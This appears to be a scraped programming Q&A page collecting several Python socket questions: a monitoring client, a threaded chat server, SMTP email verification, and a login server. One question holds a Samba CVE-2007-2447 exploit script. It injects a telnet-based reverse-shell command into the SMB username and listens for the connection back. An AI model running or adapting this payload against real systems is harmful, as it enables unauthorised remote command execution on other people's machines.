"AttributeError" What am I doing wrong here? - python

I'm developing a server monitoring utility in Python that I want to work on everything from macOS to Haiku. It's split into a client that connects to and queries multiple servers. Right now I'm testing the client on a macOS host with the server running on Debian in a Parallels VM. However, I didn't commit the new changes I made that did work to GitHub, and then made some changes that broke the whole thing. I'm only going to include the parts of my code that are relevant.
This is from the client.
def getServerInfoByName(serverName):
serverIndex = serverNames.index(serverName)
serverAddress = serverAddressList[serverIndex]
serverPort = serverPorts[serverIndex]
serverUsername = serverUsernames[serverIndex]
return serverAddress, serverPort, serverUsername
for server in serverNames:
try:
if server != None:
serverInfo = getServerInfoByName(server)
exec(server + "Socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)")
exec(server + "Socket.connect(('" + serverInfo[0] + "', " + serverInfo[1] + "))")
except ConnectionRefusedError:
print("Could not establish a connection to " + server + ".")
print(divider)
sys.exit()
def clientLoop():
sys.stdout.write(termcolors.BLUE + "-> " + termcolors.ENDC)
commandInput = input()
splitCommand = commandInput.split(' ')
whichServer = splitCommand[0]
if splitCommand[0] == "exit":
sys.exit()
# Insert new one word client commands here
elif len(splitCommand) < 2:
print("Not enough arguments")
print(divider)
clientLoop()
elif splitCommand[1] == "ssh":
serverInfo = getServerInfoByName(whichServer)
os.system("ssh " + serverInfo[2] + "#" + serverInfo[0])
print(divider)
clientLoop()
# Insert new external commands above here (if any, perhaps FTP in the
# future).
# NOTE: Must be recursive or else we'll crash with an IndexError
# TODO: Possibly just catch the exception and use that to restart the
# function
else:
whichServer = splitCommand[0]
commandToServer = splitCommand[1]
exec(whichServer + "Socket.send(commandToServer.encode('utf-8'))")
response = exec(whichServer + "Socket.recv(1024)")
print(response.decode('utf-8'))
print(divider)
clientLoop()
clientLoop()
And this is from the server.
### Start the server
try:
incomingSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
incomingSocket.bind((address, port))
except OSError:
print("The configured address is already in use.")
print("The problem should solve itself in a few seconds.")
print("Otherwise, make sure no other services are using")
print("the configured address.")
sys.exit()
incomingSocket.listen(1)
### Main loop for the server
while True:
clientSocket, clientAddress = incomingSocket.accept()
incomingCommand = clientSocket.recv(1024)
command = incomingCommand.decode('utf-8')
if command != None:
if command == "os":
clientSocket.send(osinfo[0].encode('utf-8'))
elif command == "hostname":
clientSocket.send(osinfo[1].encode('utf-8'))
elif command == "kernel":
clientSocket.send(osinfo[2].encode('utf-8'))
elif command == "arch":
clientSocket.send(osinfo[3].encode('utf-8'))
elif command == "cpu":
cpuOverall = getOverall()
cpuOverallMessage = "Overall CPU usage: " + str(cpuOverall) + "%"
clientSocket.send(cpuOverallMessage.encode('utf-8'))
elif command == "stopserver":
incomingSocket.close()
clientSocket.close()
sys.exit()
else:
clientSocket.send("Invalid command".encode('utf-8'))
Any time I try to send a command to the server, the client crashes with AttributeError: 'NoneType' object has no attribute 'decode' as soon as it tries to decode the response from the server. Eventually I want to encrypt the sockets with AES but I can't do that if it doesn't even work in plain text.

exec does not return anything. You should not generate variable names with exec but use dictionaries to store the sockets.
servers = {}
for name, address, port, username in zip(serverNames, serverAddressList, serverPorts, serverUsernames):
try:
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.connect((address, port))
servers[name] = server, address, port, username
except ConnectionRefusedError:
print("Could not establish a connection to {}.".format(name))
print(divider)
sys.exit()
def client_loop():
while True:
sys.stdout.write("{}-> {}".format(termcolors.BLUE,termcolors.ENDC))
command = input().split()
which_server = command[0]
if which_server == "exit":
break
elif len(command) < 2:
print("Not enough arguments")
print(divider)
elif command[1] == "ssh":
_, address, _, username = servers[which_server]
os.system("ssh {}#{}".format(username, address))
print(divider)
else:
server = servers[which_server][0]
server.sendall(command[1].encode('utf-8'))
response = server.recv(1024)
print(response.decode('utf-8'))
print(divider)
client_loop()

Related

I need help understanding threads utilisation

I'm setting up a little server with commands and other kind of stuff, but ,I don't get the thread functionement, when I connect my server it seems like everything is okay, I can connect a first client "without" problems, but when I want to connect another client it never get conected , the code runs but I can send anything I want it never shows up on the other client or the server.
I've already read the Threading documentation but even with the exemples, I don't get it, can someone give me some clues about how to proceed to handle more than just one client?
the server code :
#!/usr/bin/python3+x
import socket
import sys
from time import sleep
import threading
import random
HOST = "localhost"
PORT = 33700
MSG_SIZE = 32768
serveur_on = True
CLIENT_NICK_CHAN = {} #clients" nicks dict like {nickname : channel} -> needed to easily know who is where
CLIENT_NICK_SOCKET = {} #clients" dict like {nickname : socket} -> needed to send private message to the nickname's socket easily
CLIENT_NICK_THREAD = {} #clients" dict with like {nick : thread}
Rand_disconnection_msg = [" has drown in the abyss.", " is disconnected.", " is now in a better place.", " is now a part of our past", " passed away, in really tragic circumstances..."]
CHANNELS = ["main lobby", "test"]
CMD_LIST = [b"HELP",b"NICK",b"JOIN",b"CHANNELS",b"LEAVE"]
COMMANDS = ["/NICK <nickname>: Use only when you\'re connecting, allow you to choose a unique nickname",
"/JOIN <channel_name>: Allow you to join or create a channel, you can\'t use this command if your are already in another channel than the" + CHANNELS[0],
"/CHANNELS : Allow you to see every channels on the server with every connected people",
"/LEAVE : You leave the channel your within and get bringed back to the" + CHANNELS[0],
"/HELP : Gives you the whole command list",
"/BYE : Disconnect ou from the server, you have to in the " + CHANNELS[0] + " to use this command"
]
class Colors:
Blue, Cyan, Green, Red, Magenta, Yellow, White =b"\033[94m", b"\033[96m", b"\033[92m", b"\033[91m", b"\033[95m", b"\033[93m", b"\033[0m"
Normal, Bold, Italics, Thin = b"\033[0m", b"\033[1m", b"\x1B[3m", b"\033[2m"
class thread_client(threading.Thread):
def __init__(self,conn):
self.nom = ""
if(self.nom == ""):
nickname_input(connexion, self)
print("nom : " + self.nom.decode("utf8"))
self.channel = CHANNELS[0]
self.admin = False
self.adress = ""
threading.Thread.__init__(self)
self.connexion = conn
print("init done")
def run(self):
while True:
msgClient = self.connexion.recv(MSG_SIZE)
if not msgClient or msgClient == b"BYE":
break
print(type(self.nom))
print(type(msgClient))
str_name = self.nom.decode("utf8")
msg = str_name + " > " + msgClient.decode("utf8")
print("string type name is : " + str_name + "\n")
str_msg = msgClient.decode("utf8")
print("{} > {}".format(str_name, str_msg))
for clients in CLIENT_NICK_SOCKET:
if clients != self.nom:
CLIENT_NICK_SOCKET[clients].send(bytes(str_msg,"utf8"))
self.connexion.send(b"You are now disconnected.\n")
self.connexion.close()
del CLIENT_NICK_SOCKET[self.nom.decode("utf8")]
del CLIENT_NICK_CHAN[self.nom.decode("utf8")]
rand_leave = random.randint(0, len(Rand_disconnection_msg)-1)
leaving_msg = Rand_disconnection_msg[rand_leave]
print(str_name + leaving_msg + "\n")
def nickname_input(client_socket, thread):
print("now in input nickname")
msg_nom = client_socket.recv(MSG_SIZE)
print("msg_nom = " + msg_nom.decode("utf8"))
msg_nom_arr = msg_nom.split()
if not msg_nom_arr[0]:
client_socket.send(b"Please send a non void message")
nickname_input(client_socket, thread)
print("msg_nom_arr[0] = " + str(msg_nom_arr[0]))
if(msg_nom_arr[0] == b"NICK"):
if(len(msg_nom_arr)== 1):
client_socket.send(b"Please do not just enter '/NICK' -> you have to type '/NICK <your_nickname>', please proceed again :\n")
nickname_input(client_socket, thread)
else:
thread.nom = msg_nom_arr[1]
else:
client_socket.send(b"It seems like you forgot to use '/NICK' before entering your nickname, please proceed again:\n")
nickname_input(client_socket, thread)
return
def print_channels(client_socket, thread):
client_socket.send(b"Here\'s the current channel list :\n\n")
for chan in CHANNELS:
sleep(0.70)
client_socket.send( bytes(chan,"utf8") + b":\n current members :\n")
for chan_user in CLIENT_NICK_CHAN:
if(CLIENT_NICK_CHAN[chan_user] == chan):
sleep(0.35)
if(chan_user == thread.nom):
if(thread.admin):
client_socket.send(b" " +Colors.Bold + Colors.Yellow + b"#"+ thread.nom + b"#" + Colors.Normal + b"\n")
else:
client_socket.send(b" " +Colors.Bold + Colors.Yellow + thread.nom + Colors.Normal + b"\n")
else:
client_socket.send(b" " +bytes(chan_user,"utf8") + b"#\n")
client_socket.send(b"\n")
client_socket.send(b"\n")
return
def join_channel(client_socket, thread, data, data_array):
if(not data_arr[1]):
connexion.send(b"Please select a channel you want to join using '/JOIN <channel_name>'\nNote that if the channel you asked for doesn\'t exists a new channel <channel_name> will be created and you will be the administrator of this channel")
return
else:
asked_channel = data_arr[1]
if( not (asked_channel in CHANNELS)):
thread.channel = asked_channel
thread.admin = True
connexion.send(b"Welcome in " + asked_channel + b" channel, since you\'re the on who created this channel you are granted as administrator for this channel")
connexion.send(b"Note that being administrator allow you tu use some new commands as '/GRANT', '/REVOKE' or '/REN', for more information please use '/HELP'")
else:
thread.channel = asked_channel
connexion.send(b"Welcome in " + asked_channel + b" channel !")
return
SERVER = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
SERVER.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
try:
SERVER.bind((HOST,PORT))
except socket.error:
print("Server connexion failed")
sys.exit()
print("Server is now connected\nWaiting for connexions...\n")
SERVER.listen(5)
connexion, adresse = SERVER.accept()
thread = thread_client(connexion)
thread.start()
print("thread type = " +str(type(thread)) +"\n")
print("thread = ")
print(thread)
connexion.send(bytes("Welcome ","utf8") + Colors.Yellow + Colors.Bold + thread.nom + Colors.Normal)
nick = thread.nom #type -> bytes
str_nick = nick.decode("utf8")
CLIENT_NICK_CHAN[str_nick] = thread.channel
CLIENT_NICK_SOCKET[str_nick] = connexion
CLIENT_NICK_THREAD[str_nick] = thread
print("client list : ")
print(CLIENT_NICK_CHAN)
print("\n")
print("CLIENT_NICK_SOCKET = ")
print(CLIENT_NICK_SOCKET)
print("\n")
while serveur_on:
conn_msg = str_nick + " joined the chat\n"
print(conn_msg)
connexion.send(b"hello world 3\n\n")
connexion.send(b"*" * 80 + b"\n")
connexion.send(Colors.Red + Colors.Bold + b"\nWELCOME IN THE MAIN LOBBY \n" + Colors.Normal+b"\nTo enter a channel use '/JOIN <channel_name>'\nthe <channel_name> have to be composed by one world or use underscores to join words\nIf the channel does not exists a new one will be created\n\nNote that you have to be in another channel than the main lobby to chat\n")
print_channels(connexion, thread)
connexion.send(b"*" * 80 + b"\n\n")
while True:
print("thread list = ")
print(CLIENT_NICK_THREAD)
data = connexion.recv(MSG_SIZE) #receiving data from client
data_arr= data.split() #convert data into an array to check if the first word in the message is "MSG" or not
print(str_nick +" is now in -> " + thread.channel + "\n")
if(data_arr[0] in CMD_LIST):
if(data.startswith(b"HELP")): #HELP CMD
for command in COMMANDS:
connexion.send(bytes(command,"utf") + b"\n")
if(data.startswith(b"CHANNELS")): #Channels + current members CMD
connexion.send(b"\n")
print_channel(connexion, thread)
connexion.send(b"\n")
if(data.startswith(b"JOIN")):
join_channel(connexion, thread, data, data_arr)
connexion.send(b"\n")
else:
if ((thread.channel != CHANNELS[0]) and (data.startswith("MSG"))):
for chan_user in thread.channel:
chan_user.send(nick + b" > " + bytes(data,"utf8"))
print("data = " + data)
elif (thread.channel == CHANNELS[0]):
connexion.send(b"You have to be in another channel than the " + bytes(CHANNELS[0], "utf8") + b" to start chating !\nPlease use '/JOIN <channel_name>' or '/HELP' to learn how to join another channel.\n\n")
and the client code:
#!/usr/bin/python3+x
host = ''
port = 33700
MSG_SIZE = 32768
emission_stop = False
import socket
import sys
import threading
import time
def Tsend():
while True:
msg_envoi = input("> ")
if msg_envoi.startswith("/"):
msg_envoi = msg_envoi.replace("/","",1)
else:
msg_envoi = msg_envoi
CLIENT.send(bytes(msg_envoi,"utf8"))
if emission_stop:
CLIENT.close()
def Trecv():
while True:
msg_recu = CLIENT.recv(MSG_SIZE).decode("utf8")
print("\n" + msg_recu)
if not msg_recu:
break
emission_stop = True
print("connexion lost\n")
CLIENT.close()
CLIENT = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
try:
CLIENT.connect((host,port))
except socket.error:
print("connexion failed\n")
sys.exit()
print("Now connected to the server on port: {}\n".format(port))
print("Please now enter your nickname using '/NICK'\n")
thread_emission = threading.Thread(target = Tsend)
thread_reception = threading.Thread(target = Trecv)
thread_emission.start()
thread_reception.start()
What I want is just to have multiple clients that are allowed to talk to each other but I can't even get two clients.
The biggest problem I can see is that you are only calling SERVER.accept() once. This means you will only ever accept 1 client connection. When using blocking sockets as you are, a typical approach is to keep doing SERVER.accept() inside a loop so that you can keep accepting all client sockets. After you accept() a new socket, you create new thread(s) dedicated to sending/receiving for that socket, so that you don't block the accepting thread. And then you continue accepting more connections. Something like this:
#SERVER:
while serveur_on:
connexion, adresse = SERVER.accept()
# Possibly do some limited IO with client socket here, but be careful not
# to block this thread too long because that will prevent more clients from
# connecting.
thread = thread_client(connexion)
thread.start()
# No more client IO on this thread, it's the client thread's job now.
You seem to have code that communicates with the client (receiving messages and sending responses) in 2 different places: on the main thread after you SERVER.accept(), and up in thread_client.run(). It doesn't make sense that way, it should all be in thread_client.run().

Python - Socket Appears to be Failing to Accept Connection

Recently I've been creating a Python implementation of the Metasploit module for CVE2007-2447, I found a basic script online which I took some parts of then decided that I wanted to build the listener into the script so that I wouldn't have to run Netcat alongside the Python script.
import sys
import time
import socket
import threading
from smb.SMBConnection import SMBConnection
def exploit(rHost, rPort, lHost, lPort):
print("[+] " + rHost, rPort, lHost, lPort)
payload = 'sh -c(sleep 4535 | telnet ' + lHost + " " + lPort + ' | while : ; do sh && break; done 2>&1 | telnet ' + lHost + " " + lPort + ' >/dev/null 2>&1 &)'
username = "/=`nohup " + payload + "`"
password = ""
print("[+] " + username + password)
s = SMBConnection(username, password, "", "", use_ntlm_v2 = True)
#try:
s.connect(rHost, int(rPort), timeout=1)
print("[+] Payload sent!")
handler(shell)
#except Exception as e:
# print(e)
# print("[*] Fail!")
def handler(shell):
(conn, address) = shell.accept()
print("[+] Connected to " + address)
commandSender(conn)
conn.close()
def commandSender(conn):
shell_status = True
shell_recv_thread = threading.Thread(target=recvStream, args=(conn, shell_status))
shell_recv_thread.start()
command = ''
while shell_status == True:
command = input()
if command == "exit":
shell_status = False
conn.close()
shell_recv_thread.join()
sys.exit(0)
conn.send(bytes(command + "\n", "utf-8"))
def recvStream(conn, addr, status):
status = True
while status == True:
try:
print(conn.recv(1024))
except conn.timeout:
pass
except Exception as e:
print(e)
print("[*] Failed Shell Interaction...")
if __name__ == '__main__':
print("[*] CVE2007-2447")
if len(sys.argv) != 5:
print("[-] usage: <RHOST> <RPORT> <LHOST> <LPORT>")
else:
print("[+] Exectuting...")
shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
shell.bind((sys.argv[3], int(sys.argv[4])))
shell.listen(10)
rHost = sys.argv[1]
rPort = sys.argv[2]
lHost = sys.argv[3]
lPort = sys.argv[4]
exploit(rHost, rPort, lHost, lPort)
As you can see the script for this exploit is fairly simple, due to unsanitized user input an attacker can send commands to the affected device in the username field. I've checked Netstat while I run the script & I can see that my machine is definitely listening on the port I specify for lPort yet for some reason the socket seems to fail to accept the connection. In order to test the code I am running it inside a Ubuntu VM against Metasploitable 2 which is running in a separate VM on the same subnet.

WinError 10060 A connection attempt failed because the connected party did not properly respond

I am trying to verify emails by sending requests to SMTP servers. When I test in Linux, it works for 90% of emails. When I test in Windows, I did some analysis and like for 79% of emails will show the WinError10060 problem.
I tried using VPN, proxies and even turning off the firewall but the same problem will appear:
[WinError 10060] A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond
Could this be from the firewall in the router or the internet provider blocking the port? But in the mean time, for 21% of emails I get answers like 250, 550 etc.
Here's the code:
for email in rows:
email = email[0]
start = time.time()
if(email[-3:] == 'png'):
pass
else:
counter += 1
maildomain = email.split("#")[-1]
nstoken = "mail exchanger = "
mailserver = ""
mailservers = []
# Checking for domain names
# Command: nslookup -type=mx [mx server here]
plines = os.popen("nslookup -type=mx " + maildomain).readlines()
for pline in plines:
if nstoken in pline:
mailserver = pline.split(nstoken)[1].strip()
# No need this line in Windows environment
mailserver = mailserver.split(" ")[-1]
mailservers.append(mailserver)
invalid_emails = [550, 551, 553]
cannot_verify_emails = [450, 451, 452]
if mailservers == []:
email_result = "Invalid"
code_result = 000
print("No mail servers found")
else:
i = mailservers[0]
print("i: ", mailservers[0])
try:
# timeout = 10
# socket.setdefaulttimeout(timeout)
s = smtplib.SMTP(i)
# Identifying to an ESMTP server
# Command helo hi / ehlo hi
rep1 = s.ehlo()
print("rep1: ", rep1)
if rep1[0] == 250:
rep2 = s.mail("grencir1982#teleworm.us")
print("rep2: ", rep2)
if rep2[0] == 250:
rep3 = s.rcpt(email)
print("rep3: ", rep3)
if rep3[0] == 250:
print(email, " is valid, " + str(rep3[0]))
email_result = "Valid"
elif rep3[0] in cannot_verify_emails:
print(email, " verification not allowed" + str(rep3[0]))
email_result = "Server disallows verification or user mailbox is currently unavailable"
elif rep3[0] in invalid_emails:
print(email, " doesn't exist " + str(rep3[0]))
email_result = "Invalid"
else:
print(email, " response, " + str(rep3[0]))
email_result = "Other response"
code_result = str(rep3[0])
else:
print("rep2: s.rcpt not working")
email_result = "Other response"
else:
print("rep1: s.mail not working")
email_result = "Other response: Probably IP Blacklisted"
s.quit()
except socket.timeout:
email_result = "Socket Timeout Exception"
code_result = 000
print("Socket Timeout")
pass
except Exception as e:
email_result = str(e)
code_result = 000
print(e)

python sockets, trying to make a log in interaction betwen server and client

Hello so i have my server with a database (dictironay) and another passworddatabase
import socket
import sys
from _thread import *
host = ""
port = 8000
serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print("Socket Created")
try:
serversocket.bind((host, port))
except socket.error as e:
print(str(e))
sys.exit()
database = {"name1" :{"hair" : "red", "size" : 1.50}}
password_database = {"name1": "1234",
"name2": "4321"}
def client_thread(conn): #threader client
welcome = "Welcome to the server. Type something and hit enter \n"
conn.send(welcome.encode("UTF-8"))
login(conn)
while True: # NOT IMPORTANT KEEP READING
data = conn.recv(24)
reply = data.decode("UTF-8")
if reply == "1":
menu1 = "Menu 1: Buy \n"
conn.send(menu1.encode("UTF-8"))
else:
wrong = "wrong option \n"
conn.send(wrong.encode("UTF-8"))
def login(conn): #MY LOGIC PROBLEM IS HERE
log = "Log in MENU: \n"
logi = log.encode("UTF-8")
conn.send(logi)
us = "Username: \n"
use = us.encode("UTF-8")
conn.send(use)
userr = conn.recv(24)
user = userr.decode("UTF-8")
pa = "Password: \n"
pasw = pa.encode("UTF-8")
conn.send(pasw)
passr = conn.recv(24)
passw = passr.decode("UTF-8")
tries = 0
while tries < 3:
if user in passwordDictionary and passwordDictionary[user] == passw:
print("Logged in")
menu()
else:
print("Wrong Username Or Password \n")
tries += 1
print("You failed the login too many times, blocking you out")
conn.close()
while 1: # NOT IMPORTANT
conn, addr = serversocket.accept()
print("Connected with " + addr[0] + ":" + str(addr[1]))
start_new_thread(client_thread, (conn, ))
serversocket.close()
Whats working:
The server is working fine, i'm having troubles doing the login on the client side.
client.py ==> client DOESNT go into the if data == Log in menu
is there a better way to do this?
#! /usr/bin/python3
import socket
clientsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
clientsocket.connect(('localhost', 8000))
print("Connected")
datae = clientsocket.recv(24)
data = datae.decode("UTF-8")
clientsocket.send(datae)
while data != "!q":
if data == "Log in MENU: \n":
usere = input()
user = usere.encode("UTF-8")
clientsocket.send(user)
What would be the best way to create an log in interaction with the server?
the server has the usernames and passwords, i need to log in and then i need to edit the database depending on what user was chossen, but i'm having a hard time doing the algorithm
theres problems with the code you provided... however ill assume it actually works for you somehow and rather than copy paste you manually typed it
you are recieveing the first message here
datae = clientsocket.recv(24)
data = datae.decode("UTF-8") # GOT A MESSAGE
You then have the message datae = b'Welcome to the server. '
which does not match "Log in MENU: \n", and data != "!q" so it goes back into your loop and checks if data == "Log in MENU: \n" it doesnt so it repeats ... but you never get the next message instead try something like this second message
data = ""
while data != "!q":
if data == "Log in MENU: \n":
usere = input()
user = usere.encode("UTF-8")
clientsocket.send(user)
data = clientsocket.recv(24).decode("UTF-8") # GET THE NEXT MESSAGE!
but even then you are going to have problems because your server continues to write so you will get something like "Log in MENU: \nUsername" or something .... basically you need to work out a better message passing scheme than recv(24)
To avoid Errors try using a header with something like 64 Bytes wich always is the first message send. This Header is then used to send the actual length of the following message to the server. For example:
def send_response(conn, msg):
message = msg.encode(FORMAT)
send_length = len(str(len(message)).encode(FORMAT))
res_len = bytes(len(message)) + (b' ' * (HEADER - send_length))
print(f"[SENDING MESSAGE] {msg}")
conn.send(res_len)
conn.send(response)

How can i make a tcp server without a client

How can i make it so when someone connects to port 8080 they see the login screen and password instead of a client joining, for example i opened putty up and i clicked protocol "RAW" i put the I.P of 208.67.1.1 <- example I.P and port 8080 nothing shows but i don't get a connection refused.
Here's my code:
import sys
import time
from socket import *
sock = socket(AF_INET, SOCK_STREAM)
USER = "Haze"
PASS = "Myinternet202"
HOST = "0.0.0.0"
PORT = 8080
sock.bind((HOST, PORT))
sock.listen(1)
nickname = raw_input("Nickname: ")
if nickname == "%s" % (USER):
credentialsU = True
else:
credentialsU = False
if credentialsU == False:
print '----------------------------------------'
print '- INVALID CREDENTIALS -'
print '----------------------------------------'
time.sleep(5)
sys.exit(1)
password = raw_input("Password: ")
if password == "%s" % (PASS):
credentialsP = True
else:
credentialsP = False
if credentialsP == False:
print '----------------------------------------'
print '- INVALID CREDENTIALS -'
print '----------------------------------------'
time.sleep(5)
sys.exit(1)
if credentialsU == True and credentialsP == True:
while True:
main = raw_input("> ")
logs = open("logs.txt", "a")
logs.write("" + nickname + " -> " + main + "\r\n")
logs.close()

Categories

Resources